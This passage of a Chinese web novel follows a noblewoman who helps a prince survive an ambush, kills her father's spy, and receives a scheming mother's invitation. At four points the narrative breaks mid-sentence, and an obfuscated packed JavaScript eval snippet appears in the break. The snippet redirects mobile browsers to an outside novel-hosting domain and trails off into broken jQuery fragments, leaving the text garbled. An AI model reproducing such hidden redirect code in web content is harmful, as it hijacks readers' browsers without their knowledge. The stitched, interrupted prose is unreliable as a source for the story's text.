明明瞧见了,却又走开了,谢晚棠这是—— 欲擒故纵? 拙劣! 慕枭的想法,谢晚棠并不知道,她纵然熟读兵法,会用“欲擒故纵”这种招,可却不会在明知道慕枭对她没意思的时候,跟他玩这一手。 她是想去见慕枭的,但是,就在她要到慕枭跟前时,她瞧见了一个人。 谢詹杭身边的影卫。 上辈子,屡次按照谢詹杭的吩咐,暗中给她传递沈嬷嬷写的报平安的信,从而挟制她的人—— 谢远。 她就要到慕枭跟前时,谢远就在不远处的树下。 谢晚棠不确定,谢远是受了谢詹杭的吩咐,在暗中盯着她,还是机缘巧合来了慈恩寺的往生殿,无意间与她撞上了,但眼下,她都不适宜再与慕枭接触。 免得节外生枝。 给她,给慕枭,都带来麻烦。 心里遗憾,好不容易的选的与慕枭接触的机会,就这么被破坏了浪费了,但谢晚棠面上倒是平静,眸光浅浅,不起波澜。 她进了往生殿,低声吩咐天岚、知棋。 “知棋,你去供奉佛经,天岚,你拿了银子去添香油钱,给足些。” “是。” 两个人应声去办事。 谢晚棠也没闲着,她抿了抿唇,随即去找了小师父,她在往生殿里,又供奉了两盏无名的长明灯。 一盏是为上辈子的她供的,而另一盏,则是为了上辈子的慕枭。 长明,长命。 上辈子已经过去了,可这辈子才刚开始。 她希望这辈子,她和慕枭都能长命,都能平平安安,长长久久。 谢晚棠上香,倒是虔诚。 天岚去添完香油钱,正好瞧见天晴过来,她微微犹豫了一瞬,随即上前到天晴跟前。 “怎么过来了?王爷叫我有事?” “走吧。” 天岚没急着应声,而是先向往生殿看了一眼,见谢晚棠好好的,她才随天晴离开。 越是细节,越能看出事情的不同寻常。 天晴一边走,一边念叨。 “你对谢二小姐,倒是挺好的。” “嗯。” 天岚听着这话,点了点头,她轻声回应,倒是一点都没有迟疑。 她没有解释什么。 天晴也没有多问。 往生殿西边的小路,慕枭坐在轮椅上,正在等着,天晴、天岚过来之后,慕枭也没有回头,他只是冷声询问。 “她来做什么?” 知道慕枭问的是谢晚棠,天岚也不瞒着。 “小姐来慈恩寺,是为了给那些在边境牺牲的将士供奉佛经,另外,她还拿了银子,要给他们的长明灯添些香油钱,眼下事情都已经办妥了。” 慕枭闻声回头看向她。 “你告诉她的?” “什么?” 天岚一愣,她抬对上慕枭的眸子,满眼都是不解。 将天岚的模样看在眼里,慕枭这才反应过来,天岚、天月都是天晴从九重暝楼调过来的,虽然也是为他做事的人,是他的得力干将,但比起天晴、天明这种常年跟在他身边的人,却还差得远的。 天岚对他的了解,也远不及天晴他们。 故而,即便天岚知道,他在慈恩寺给边境牺牲的将士,供奉了长明灯,也不知道他初九会来。 天岚告诉不了谢晚棠什么,也没法帮谢晚棠制造这场偶遇。 那谢晚棠是怎么知道的? 她身上—— 到底藏了什么秘密? 还是说,这一切真的都只是巧合? 如果是巧合的话,那无讳大师说的那些话,又是什么意思? 慕枭眯着眼睛,默不作声,他心里思量着这些事,可怎么都想不出个所以然来。 “王爷……” 见慕枭半晌不开口,天岚不禁轻唤了一声。 谢晚棠在谢家的处境不容乐观。 虽然明着,谢詹杭不敢对她做什么,免得引出更大的乱子,让侯府处于水深火热之中,可保不齐他暗地里会用什么阴招。慈恩寺人来人往,太容易浑水摸鱼,趁乱下手了,天岚怕耽搁太久,谢晚棠那头会出岔子。 慕枭并不知道天岚的心思,他也没心思多关注。 “下去吧。” 他只是冷声吩咐。 闻声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793830|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,天岚行礼,随即快步回了往生殿。 天晴见状,忍不住笑笑,“王爷,这谢二小姐的魅力挺大啊,天岚这才跟了她多久,就满心满眼都是她了,这才离开一会儿,就担心紧,这是要把谢二小姐当眼珠子护着了。” 魅力吗? 慕枭凝眉,下意识的想到了之前在惊风诗社,谢晚棠坐在他腿上,轻吻他喉结的模样。 见慕枭沉思不语,天晴笑的贼兮兮的。 他缓缓靠近慕枭。 “王爷,你突然关心起谢二小姐了,该不会是也被她的魅力,俘获了心吧?” 慕枭闻声剜了他一眼,他似笑非笑,“你突然挑战我的耐性,该不会是想**,想试试我**的手段吧?” 天晴:“??” 他就是关心关心,好奇好奇,至于这么血腥吗? …… 往生殿。 天岚回来的时候,知棋已经回来,到谢晚棠身边了。见状,天岚加快脚步,到谢晚棠边上。 “小姐,香油钱添好了,咱们接下来去哪?” “回吧。” 今日,不适宜再见慕枭了。 早点回去,也早点断了她心里的这点念想,否则,她心里总是带着两分侥幸,盼着能见一见他。 欲壑难填,贪心难消,人性如此,她只能自己克制。 早走早省心。 心里这么琢磨着,她先一步出了往生殿。 天岚、知棋快步跟上。 只是,这次出来走了没几步,天岚就似有所感,往后望了望,“小姐,暗处里似乎有人盯着,轻功不错,应该是经受过训练的影卫。” “嗯。” 谢晚棠应了一声。 她可以肯定,暗处里跟着的人,就是谢远。 “不用管,只当没看到就好。” “是。” 天岚应声,不动声色,她们主仆三人快速下山。 谢晚棠走向他们的马车,刚好瞧见慕枭的马车离开,天晴亲自赶车,风微微掀起帘子,依稀能瞧见慕枭的侧脸。 他依偎着车厢,双眸紧闭,模样清隽,冷淡桀骜,和印象里一样。 谢晚棠微微勾唇。 似有所感,马车中的慕枭,也睁开了眼睛。 透过车帘子的缝隙,他也看到了谢晚棠,四目遥遥相对,他没错过谢晚棠一双水眸中的缱绻深情。 慕枭凝眉。 “停车。” 慕枭下意识的喊了一声,外面,天晴急忙勒紧缰绳停下。 抬手,慕枭直接掀开了车帘子。 本想开口,叫谢晚棠过来的,可就在他要开口的时候,他瞧见一个人,款步到了谢晚棠身边—— “谢二小姐,好巧!” 第90章 **杀 闻声,谢晚棠侧头看过去,就见江厌不知何时,已经站到了她不远处。 没穿官袍,今日的江厌,倒是比之前在永昌侯府见时,少了几分冷色,连带着他对谢晚棠开口时,声音也柔和了不少。 谢晚棠有些诧异。 诧异于江厌会上前主动跟她说话,也诧异于江厌的语气。 “江大人。” 压下疑惑,谢晚棠微微福身行礼。 江厌点头算是应了,他这才询问,“今日,谢二小姐是自己出来,独自来慈恩寺的?” “是。” “小心些。” 江厌见谢晚棠凝眉,似有不解,他轻声解释。 “海捕的公文虽已经发了,但谢婉宁还尚未落网,永昌侯府底蕴深厚,永昌侯夫妇更有私心,他们宠爱谢婉宁,也未必就没有手段营救于她。在一切还未尘埃落定之前,危险无处不在,谢二小姐还是小心些好。” 谈及公事,江厌明显认真严肃了不少。 连带着谈及永昌侯府,谈及谢詹杭和谢夫人的时候,他也言辞犀利,直白至极。 难怪他能被百姓奉为青天。 权贵的面子,他该不给的,他是真的一点都不给。 谢晚棠眉眼弯弯。 “多谢江大人关心,有江大人这般的清官在,想来恶人也不会逍遥法外太久。如我这般的百姓,虽有一时之危,但想来用不了多久,这危机就能消除,会平安无事的。” “谢二小姐谬赞。” “这不是夸赞,而是事实。更何况,就算是殷勤夸张那又如何?若是换做旁人,大约当不得这一声夸赞,可江大人能力斐然,一心为民,这一声夸赞,江大人受之无愧。” 闻言,江厌垂眸,浅浅勾唇。 距离略微有些远,慕枭听不到谢晚棠、江厌在说他们。 只是两人言笑晏晏,你来我往,显然相谈甚欢。 他也懒得再等。 “走。” 天晴一早就发现了,慕枭叫他停下来,大约是想跟谢晚棠说话。 偏偏这个时候,江厌过来了。 慕枭难得对女人主动,他还以为慕枭这次开了口,能等等呢,可这才多久啊,他就要走…… “王爷,不再等等吗?” “你不想走?” “属下这不是怕王爷没跟谢二小姐搭上话,还因为争风吃醋,攒了一肚子郁气,回去之后不开心嘛。” 一心为慕枭打算的模样,天晴随即又叹息着继续。 “王爷,你看看人家江大人,自来在人前都是不苟言笑,矜贵自持的,他谁的面子都不给,对谁都冷冷清清的,跟王爷何其相似?可人家在谢二小姐面前,明显软了不少,连带着说话,都隐隐能瞧见笑模样了。反观王爷你,啧啧啧……一言难尽呦,我要是谢二小姐,我也得喜欢那样的,我才不……啊……” 天晴碎碎念叨的话还未说完,那些话,就被一声尖叫取代了。 慕枭抬脚,直接将天晴踹下了马车。 天晴一连转了几圈,才勉强稳住身形,不至于狼狈跌倒。 他看向马车,只见慕枭已经赶着马车走了。 天晴直跺脚。 “粗鲁、凶残,王爷,你对属下这样也就罢了,对人家姑娘要是也再这样,就算人家姑娘是千年的桃花精,这桃花也得被你掐烂了,那可就得孑然一身,孤独终老了。啧,那可老凄凉,老寂寞,老惨了。” 天晴的喊声,慕枭听了七七八八。 他懒得回应。 他只是扬鞭催马,手上的马鞭子,挥的明显更快了不少。 烈马疾驰,不过须臾,就只剩了一个残影,见状,天晴跺跺脚,急忙飞身跟上。 谢晚棠这边。 几乎是慕枭的马车一走,她就觉察到了。 只是,碍于有江厌在,不想让他觉察到她对慕枭的关注,从始至终,她甚至没敢往慕枭那头望一眼。 江厌还要进慈恩寺办事,并没有逗留太久,谢晚棠自然也很快就上了马车离开了。 临近晌午,官道上马车并不算多。 倒也安静。 马车辚辚而行,谢晚棠依偎着车厢,闭着眼睛思量,错过了这次,下次得什么时候才能见到慕枭? 她也不知道,上辈子慕枭是何时喜欢上她的,但想来是因为她和慕枭先有了肌肤之亲,又长日生活在同一屋檐下,近水楼台,这才占了便宜。眼下的情况跟之前大不相同,想走进慕枭的心,她得好好谋算谋算。 谢晚棠琢磨着,不免有些入神,可不多久,马车就陡然一晃。 烈马长嘶,小厮拉了缰绳,让马车快速停下。 车身剧烈的晃动,让谢晚棠身形踉跄。 “怎么了?” 谢晚棠急声询问。 天岚习武,耳力要更好些,她隐隐听到了兵刃碰撞的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802401|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音,似有打斗,不等赶车的小厮回应,她忙掀开帘子探头往外看去。 一时间,她的眸子,不禁眯成了一条缝。 “小姐,是王爷。” “什么?” 谢晚棠心一下子提到了嗓子眼,她掀开车帘子往外看去。 只见慕枭坐在马车上,他手中握着一把剑,在与围着他的六七个黑衣人对打。 那些黑衣人出手凌厉,相互配合,四方**,招招致命。 光是看着,谢晚棠都觉得凶险。 有好几次,她都觉得,黑衣人的剑要伤到慕枭了。 至于天晴那边,状况也不乐观,同样被六七个人**,天晴应付起来,也不算顺利,他无法抽身,自然也没机会过来助慕枭一臂之力。 谢晚棠眼睛腥红。 “天岚,去帮忙,快。” 得了吩咐,天岚从马车飞身而出,直奔向慕枭所在的位置。 谢晚棠目光灼灼的盯着,她一把将车帘子抓紧。 上辈子,她就知道,慕枭作为皇上宠爱的儿子,战功在身,能力不俗,他在朝臣和百姓中的声望也极好,故而是很多皇子的眼中钉。为此,他没少被针对,没少被刺杀,次次凶险,九死一生。 有好几次,慕枭都是带着伤回的齐王府。 慕枭从不让她看那些伤。 每次她坚持要看时,慕枭就把她压在身下,以强势之姿,用床笫之欢,证明他身子还好,也压下她所有的担心和探究。 可到了现在,谢晚棠似乎还能回想起那种浓烈的血腥味。 她知道慕枭一路走来不易。 可这却是她第一次,这么近距离的看到厮杀。 都说刀剑无眼。 可那些无眼的刀剑,就那么在慕枭身侧徘徊,几乎舞出了残影。 她怕! 怕慕枭受伤!怕慕枭丢了命! 谢晚棠紧盯着慕枭,眼睛一眨都不敢眨,她脑子飞速的转,她不想就这么干看着,她想帮帮慕枭。 可就在这时,知棋用力推了她两把。 “小姐,你看……” 知棋开口,声音都是抖的。 谢晚棠也吓了一跳。 思绪被拉回来,谢晚棠忙顺着知棋的方向,扭头看过去,只见不远处的山林里,有一排黑衣人,一眼望过去,至少有十几二十个。 他们各个手持弓箭,瞄准了慕枭…… 第91章 挺会的 双拳难敌四手。 一人又怎么抵得过乱箭齐发? 谢晚棠咬着唇,嘴里血腥味四散,她眸色暗沉,随即转头去拿自己出门时带的小包袱。 这小包袱,是天月给的。 谢詹杭虎视眈眈,天月怕她出事,所以给她带了很多药。 其中有一样烟水茫。 天月说那是她改良过的**,见效奇快,中药后,会眼前烟水迷蒙,苍茫一片,如坠烟水苍茫之境,意识混沌,难辨方向。 或许有用。 谢晚棠很快就在包袱里,将药瓶子找了出来。 她将药瓶子攥进手里。 重新掀开帘子,观察局势,只见天岚进入战圈之后,明显给慕枭减轻了不少压力,她稍稍安心。她仔细确定弓箭手的位置,确定了上风口,之后,她摸了摸腰后的**,这才跳下马车,将马解下来。 “小姐,你这是……” “你找地方藏起来,保护好自己,等天岚回来了,告诉她解决掉暗处的谢远,其他的不用你管。” 低声交代了知棋一句,谢晚棠翻身上马。 她扬鞭催马。 烈马长嘶,疾驰而出。 马跑的极快,谢晚棠一边控制着马跑的方向,一边控制着身体,她整个身子,半挂在马的左侧,用马的身体遮挡自己,免得山林中手握弓箭的黑衣人偷袭,她事还没办成,就出师未捷身先死。 得益于上辈子慕枭教骑马教的好,谢晚棠的速度极快。 山林中的黑衣人的确发现她了。 不过,他们只是短暂的用眼神交流,犹豫了片刻,就放弃了对她动手。 他们接到的命令是:若是黑衣人围杀慕枭不成,他们乱箭齐发,暗杀慕枭,其他的不归他们管。 若是因为一个不知道从哪冒出来的女人,被慕枭发觉,耽误了暗杀…… 那后果,他们承担不起。 尤其是这女人,并没有靠近他们,自然按兵不动更合适。 而这就是谢晚棠的机会。 一路借着马匹的遮掩,顺利到达山林的上风口,她快速勒住缰绳停下。找了棵大树躲避,之后,她将手中装着烟水茫的小瓷瓶打开。寒风起,吹动药粉,直奔着下方黑衣人所在的方向而去。 药粉颜色浅淡,被吹散,更不明显。 只有一股淡淡的烟气氤氲。 黑衣人毫无察觉。 可不一会儿,他们就觉得眼前混沌,手中的弓箭出了重影,而他们瞄准的身处战圈中的慕枭,则排了一排,足有七八个,他们一时间根本难以分辨慕枭到底在哪。 “怎么会?” 有人忍不住暴躁的低喃出声,还用力的甩甩头。 一时间,眼前的一切更晕了。 远处的是慕枭,近处的是慕枭,山中草木,似乎也都成了慕枭,连带着手中的箭,似乎都飘着慕枭的影子,似笑非笑,邪气逼人。 严阵以待,随时准备出其不意击杀慕枭的弓箭手,瞬时乱成了一团。 谢晚棠微微松了一口气。 有用就好。 谢晚棠随即看向山下。 眼见着慕枭、天晴、天岚也占了上风,她悬着的心终于放下了,她转身准备去牵马,等待时机下山。 可是一转头,她就瞧见了站在身后的谢远。 谢晚棠心中一惊。 “你……” “二小姐,得罪了。” 话音落下,谢远冲向谢晚棠准备动手。 谢晚棠眼疾手快,拿出**刺向谢远。 只是,谢远到底是会功夫的人,灵敏度很高,他适时躲避,谢晚棠的**只堪堪划破了他腰间的皮肤,伤得并不重。 谢远的眼里,闪过一抹狠厉。 他再次上前,刚要动手,谢晚棠的身子便软软的倒了下去。 谢远打了个空,他眉头紧锁,防备的上前,用脚踢了踢谢晚棠的手,见谢晚棠确实没有动静,连带着呼吸也清浅平稳,不似有异状的样子,他这才在谢晚棠身边蹲下。 并不放心,谢远抬手,便给谢晚棠补一记手刀。 他下手极快。 可也是这时,谢晚棠之前被谢远踢的手,陡然上移,趁着谢远动手的工夫,她将藏在袖口中的簪子,插入谢远心口。 谢晚棠被手刀砍的两眼发黑,瞬间晕了过去。 而谢远…… 心口处血流不止,他倒在地上,再也没能起来。 …… 谢晚棠再醒过来的时候,是在马车里。 天色已经隐隐发暗,马车里也一片昏暗,马车辚辚而行,摇摇晃晃的,身下有软垫子垫着,倒也舒适。 谢晚棠手撑着垫子起来。 揉了揉发疼的脖颈,谢晚棠扭头,想要活动活动。 可才一转头,她就瞧见了慕枭。 依偎着车厢,双眸紧闭,呼吸平稳,就像是睡着了,可谢晚棠能闻到慕枭身上,有一股浅淡的血腥味。 “王爷,你受伤了?” 话,下意识的脱口而出,她声音急切,还夹杂着哽咽。 慕枭听到动静,缓缓睁开眼睛。 四目相对。 谢晚棠眼底尽是担忧,至于慕枭,眼底沉静如水,“谢二小姐倒是关心本王,既如此,不若谢二小姐自己来看看?” 谢晚棠看着慕枭,甚至有些不敢相信自己的耳朵。 这些话,居然是出自慕枭之口。 怎么会? “怎么?”见谢晚棠不动,慕枭嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢晚棠揉着自己的手腕,轻声叹气,“听说王爷不近女色,可我觉得,王爷还是挺会的。这一会儿说过往,一会儿盛情相邀的,动不动的,还拿些琐碎小事,制造些动手动脚的机会,不愧是运筹帷幄,决胜千里的战神,满肚子的兵法,手段就是多。” 慕枭额上青筋直跳。 他忍不住想,或许,他就不该听无讳大师说的那些话,不该胡思乱想,他更不该试探谢晚棠。 自找麻烦。 正寻思着,慕枭就听谢晚棠开口道…… 第92章 我喜欢 “王爷领兵多年,将兵将视作兄弟知己,这些年,王爷在慈恩寺为逝去的英烈供奉长明灯,并非什么秘密,我虽是囿于后宅的女子,但也想尽一尽心,这又有什么稀奇的?这跟谢詹杭,又有什么关系?王爷该不会觉得,他那种货色,能有这份心吧?” 慕枭的嘴角,忍不住抽了抽。 谢詹杭那种货色—— 啧! 谢晚棠这嘴跟淬了毒似的,骂谢詹杭的时候,可真是直白又犀利。 慕枭寻思着,就听谢晚棠笑笑,“只是没成想,在慈恩寺里,没机会跟王爷交流交流,表表心意,出来后倒是有了次美救英雄的机会。就是不知道……这英雄……面对救命之恩,要不要以身相许?” “你……” “不过不用了。” 眼见着慕枭要说什么,谢晚棠抢先一步开了口。 四目相对,她笑的像只小狐狸似的。 “我不是那种挟恩求报的人,来日方长,比起王爷现在以身相许来,我更期待有朝一日,王爷能真心的想要跟我在一起。更何况,今日我帮了王爷,王爷也救了我,我们也算是互相帮衬,互相扶持了,倒也谈不上恩不恩的,这一点我还是心里有数的。” “谢二小姐倒是会说。” “嘴甜,这是天生的,以后王爷对这一点的体会,必定更深。” 慕枭:“!!” 不知道是不是错觉,他总觉得,谢晚棠话里有话。 这话,不太正经! 车里光线昏暗,隐约间,慕枭依稀能看到谢晚棠耳朵上泛起的红晕,而这无疑也证实了他的猜测。 深呼了一口气,强忍着将谢晚棠推下去的冲动,慕枭冲着外面开口。 “天岚,带谢二小姐回去。” “啧,翻脸翻得真快,真无情,不过我喜欢。” “……” “王爷,之前送你的画,还留着吗?我觉得在马车里,紧紧相依,你侬我侬,这场景画下来应该也不错。王爷若是没留着之前的那一幅,我给王爷补一幅,怎么样?” “天岚!” 慕枭又喊了一声。 天岚闻声,急忙掀开马车帘子,探头往里看去。 虽然慕枭下手极快,微微用力,就将谢晚棠推到了天岚边上,刚好天岚可以扶助,不至于摔倒,但天岚还是瞧见了。 刚刚——谢晚棠坐在慕枭的腿上。 啧! 天岚咂舌。 慕枭是出了名的不近女色,让姑娘坐到他腿上,这可是头一遭。 看来,慕枭和谢晚棠,是有些不寻常啊。 天岚在心里琢磨着,眼睛晶亮,兴致盎然,她看看谢晚棠,又看看慕枭,还未来得及说什么,就听慕枭冷声道。 “眼睛不想要,就捐了。” 天岚一哆嗦,她搀扶着谢晚棠的手,都更用力了些。 “小姐……” “别怕,你家王爷刀子嘴豆腐心,为人还正直,他不会拿你怎么样的。马车在外面吧?那咱们走吧。” “好。” 天岚连连点头,搀扶着谢晚棠下马车。 天晴赶车马车带慕枭离开。 看着慕枭的马车走远,谢晚棠嘴角上扬的弧度,不禁更大了些。 今日凶险。 但好在慕枭好好的,她也好好的…… 真好! 谢晚棠也没多耽搁,她到后面,坐上了自己的马车。 知棋早就在马车里等着了,见到谢晚棠,她上下打量了好几次,确认谢晚棠之前只是晕着,真的没有受伤,她悬着的心才算放下。 “小姐没事就好,没事就好。” 听着知棋碎碎念叨,谢晚棠勾了勾唇,不过她也没在这上多纠缠。 她看向天岚。 “我晕倒之前,曾刺伤了谢远,他人呢?你和王爷你们带我回来时,可见到他了?” “嗯。” 天岚点头,丝毫不隐瞒。 “小姐的簪子,正好刺在了谢远的心口,许是巧劲儿用的好,一击毙命,我们听知棋说了你进山的方向,一路追过去的时候,谢远已经不行了。王爷安排了人,将今日袭击他的黑衣人,包括那些意识不清的弓箭手,全都带回京中了,谢远的尸体也一并被带回去了。” “带回京了?” “是。” 得了天岚的回应,谢晚棠眸子微微眯了眯。 稍稍思忖了一会儿,谢晚棠这才看向天岚,“稍后,帮我把谢远的尸体,用马车送回侯府吧。” 天岚一愣,“小姐,这……怕是会惹麻烦。” 谢远可是谢詹杭的人。 谢詹杭派谢远出来监视谢晚棠,甚至对谢晚棠动手,可见谢詹杭对谢晚棠的态度。 若是谢詹杭知道谢远**,必定会猜到是谢晚棠动的手。 这对谢晚棠不利。 说不准,会激怒谢詹杭,让谢詹杭再下手。 天岚的担心,谢晚棠都懂,她微微垂眸,摸索着自己的拇指,勾唇笑笑,没有解释。 谢詹杭和谢夫人,都没打算放过她。 她本也有麻烦的。 尤其是谢詹杭大约已经打算好了,要尽快对她动手,她自然要推谢詹杭一把,让谢詹杭在她预定的时间点出手。 明枪易躲,暗箭难防。 推着谢詹杭动,主动迎击,比被动等待要好得多。 还有九日! 但愿如她算的那样,不会出纰漏! …… 谢晚棠回来的时候,夜已经深了,她直接回了桐花台,简单洗洗便歇下了。 书房这头,谢詹杭等了很久。 可依旧不见谢远回来。 这阵子,他派出去调查谢婉宁下落的人,尽数空手而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803867|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归,谢婉宁就像是人间蒸发似的,一点线索都没有。不得已,他才派了谢远出去,让谢远盯住了谢晚棠,以便探探谢晚棠的底,查查谢婉宁的下落。 可到现在,谢晚棠都回来了,谢远还不见影呢。 谢詹杭隐隐觉得不妙。 坐立难安,谢詹杭在书房里来来**的走动,有好几次,他都想冲到桐花台去,去问问谢晚棠。 可他到底忍住了。 如今的谢晚棠,早就不是曾经那个被他困在后院里,认他随意处置的女儿了。如今的谢晚棠,动动手指,就能掀起一阵风浪,而他们侯府,眼下是最经不起风浪的。 谢詹杭如鲠在喉,烦躁的要命。 这时候,他就听到外面,传来一阵慌乱的脚步声。 管家的声音,很快就从外面传了进来。 “侯爷,出事了。” “进。” 管家闻声,推门而入,他疾步到谢詹杭身边,压低了声音道。 “王爷,刚刚有一匹马拖着一辆板车,停到了咱们侯府门口,那赶车的人下了马车,很快就消失不见了,只留下的了马车。咱们门房的小厮过去看了,马车上草席子盖着的,是一具尸体,是……谢远。” “什么?” 谢詹杭声调都不自觉的提高了几分。 刚刚,他心中就惴惴不安,他隐隐觉得,谢远大约出事了。 可没想到谢远**。 马车,还将尸体送了回来。 “可看到了赶车的人什么样?他消失不见了,又是奔着哪个方向去了?可看清楚了?” “没有。” 管家摇头,面色无奈。 “门房的小厮只瞧见赶车的人,穿了一身黑色的夜行衣,从马车上下来后,他几个飞身,就消失不见了,他轻功太好,小厮根本追不上,什么都没看清楚。那拉谢远回来的马车,也干干净净的,没有任何线索标记。” 谢詹杭闻言,脸色黑的几乎能滴出墨来。 “谢晚棠呢,她在哪?” “二小姐在桐花台,回来之后,就没有出去过了。她身边的人,除了跑走的知琴和六子,下落不明,其余人都在她身边,没有离开过。” 知道谢詹杭想问什么,管家索性主动一股脑都说了。 可这并不能让谢詹杭平静半分。 谢远是去盯着谢晚棠的。 眼下,谢远**,谢詹杭不信这事跟谢晚棠毫不相干。她身边的人都在,只能说明,她打点的足够好,才不漏破绽。 若是谢晚棠能杀谢远,那谢婉宁呢? 会不会—— 细思极恐,谢詹杭甚至不敢深想,他心里唯一能想的,就是谢晚棠真的留不得了。 这个灾星,他们侯府应付不来,也应付不起了! 还有九日! 这次,一定要除掉谢晚棠,再不留后患。 第93章 风乍起 腊月十六。 过了晌午,被禁足了多日的谢夫人,就出了主院。 她脸色比之前差了些,人也清减了一圈。 她的身边,只带了一个近些日子伺候她的粗使婆子,她们主仆二人出了主院,直奔桐花台。 一路上,谢夫人都是死气沉沉的。 自从嫁入永昌侯府开始,谢夫人就没被关过,她没受过这种委屈,再加上谢詹杭那头调查谢婉宁的事,也一点线索都没有,谢夫人担心的要命,这几日,她度日如年,备受煎熬,她整个人都要崩溃了。 今儿头晌,难得谢詹杭回了主院。 她还以为是谢婉宁有消息了呢,欣喜若狂,可结果还是为了谢晚棠! 谢夫人心里烦躁。 跟着的婆子,瞧着她那模样,连大气都不敢喘。 桐花台。 谢夫人到这头的时候,谢晚棠正在看沈嬷嬷让人送来的信,信上,沈嬷嬷用了不少笔墨,写了这阵子在景溪别院的事,桩桩件件,字里行间,都透着幸福感,谢晚棠瞧着安心。 沈嬷嬷好,她也就没了后顾之忧。 真好! 谢晚棠想着,就听到外面, 传来了一阵脚步声。 盘算着日子,不用看她也知道来人是谁。 谢晚棠将沈嬷嬷的信收好,夹在书里,她依偎着罗汉榻,漫不经心的翻弄着书等着。 谢夫人很快就进了门。 自从被禁足,谢夫人就没瞧见过谢晚棠。 可不知道是不是错觉,这几日不见,她隐隐觉得,谢晚棠比之前胖了一点儿,不再是饿的干瘦的样了,她人也白了一些,整个人看上去,更显得明媚了不少,漂亮了不少。 可见这阵子谢晚棠不得不错。 可她的宁儿…… 现在在哪,过得好不好,甚至是不是还活着,都还是未知数。 谢夫人怎么能不气?怎么能不烦? “不成器的东西,见了长辈,连行礼问安都不会,还有没有点规矩?连罗汉榻都不下,你那腿是废了吗?” 谢夫人怒喝。 听着谢夫人的话,谢晚棠勾了勾唇。 拿着软枕垫在腰后,躺的更舒服了些,她这才又看向谢夫人,眉眼弯弯。 “我以为,自那日在主院闹过一场过后,阿娘心里,早已经没我这个女儿了,所谓长辈……怕也只是我一厢情愿,我这不是怕阿娘嫌恶,怕惹阿娘动怒吗?” “你……” “不过现在看来,阿娘还关心我成不成器,也关心我的规矩,可见心里还是有我的。阿娘,这是因为没找到姐姐,阿娘的爱,在向我转移吗?” 谢晚棠完全不给谢夫人开口的机会。 恶心她的胡话,谢晚棠也说的一本正经。 谢夫人脸色阴翳。 那话诛心。 那日主院的事,让谢詹杭停了职,罚了俸禄,被皇上不喜,她更是被禁足多日,连门都出不去,身边连伺候的人都没有。 自谢婉宁失踪,就再没了消息,谢詹杭派人找了,一无所获。 桩桩件件,就没有让她顺心的。 偏谢晚棠还提! 越想,谢夫人就越恨不能把她活剥了。 “阿娘,你怎么不说话?瞧着阿娘脸色不大好,是这阵子被爹禁足,吃的不好,心里不痛快,伤了身子吗?” 谢晚棠火上浇油。 “要说爹这个人也真是的,人家都说,夫妻是床头吵架床尾和,他怎么还能跟阿娘动真格的呢?禁足是小,因此伤了身子,伤了情分,那可就是大了。尤其是外面狂蜂浪蝶那么多,万一……” “够了。” 谢夫人厉喝了一声,将谢晚棠打断。 袖口中,她拳头握的死死的,脑海中想着谢詹杭说的事,她极力克制着,才没有发火。 不再耽搁,谢夫人转头看向身后的婆子,冷声吩咐。 “给她。” “是。” 婆子应声,忙掏出一封请柬,送到谢晚棠面前。 谢夫人也不多耽误工夫,她看向谢晚棠,冲着她解释道。 “腊月十八,海国公寿辰,海国公曾领兵四十余年,侍奉两代帝王,战功赫赫,身份贵重。每年这时候,海国公都会得圣上恩典,与海国公夫人一起,遍邀京中权贵,到隆御马场打马球,为海国公贺寿。” “阿娘送我请柬的意思是……” “哼!” 谢夫人冷哼。 “每年海国公夫人都会给我这送请柬,要不是宁儿眼下不在府中,这种事也轮不到你一个连马都不会骑的蠢货去。” 谢夫人的语气中尽是不屑。 谢晚棠不以为意,“可是,姐姐似乎也不会骑马吧?” “宁儿不会骑马,也比你强上百倍。” 谢夫人语气嫌恶,连带着她看谢晚棠那张和谢婉宁相似的脸,也觉得丑陋又烦躁。 一个灾星,怎么配和她捧在手心里养大的宁儿比? 她没好气道。 “明日我会让人给你送两身衣裳,两样首饰,十八那日,你随我一起去隆御马场。那日能去赴宴的,皆是权贵,到时候你老老实实的在边上待着,把嘴巴闭好了,少四处生事,丢人现眼。” 说完了,她还不放心,她冷声警告。 “你要是敢闹出什么事来,给我丢人,给侯府惹麻烦,仔细我扒了你的皮。” 谢夫人转头就走。 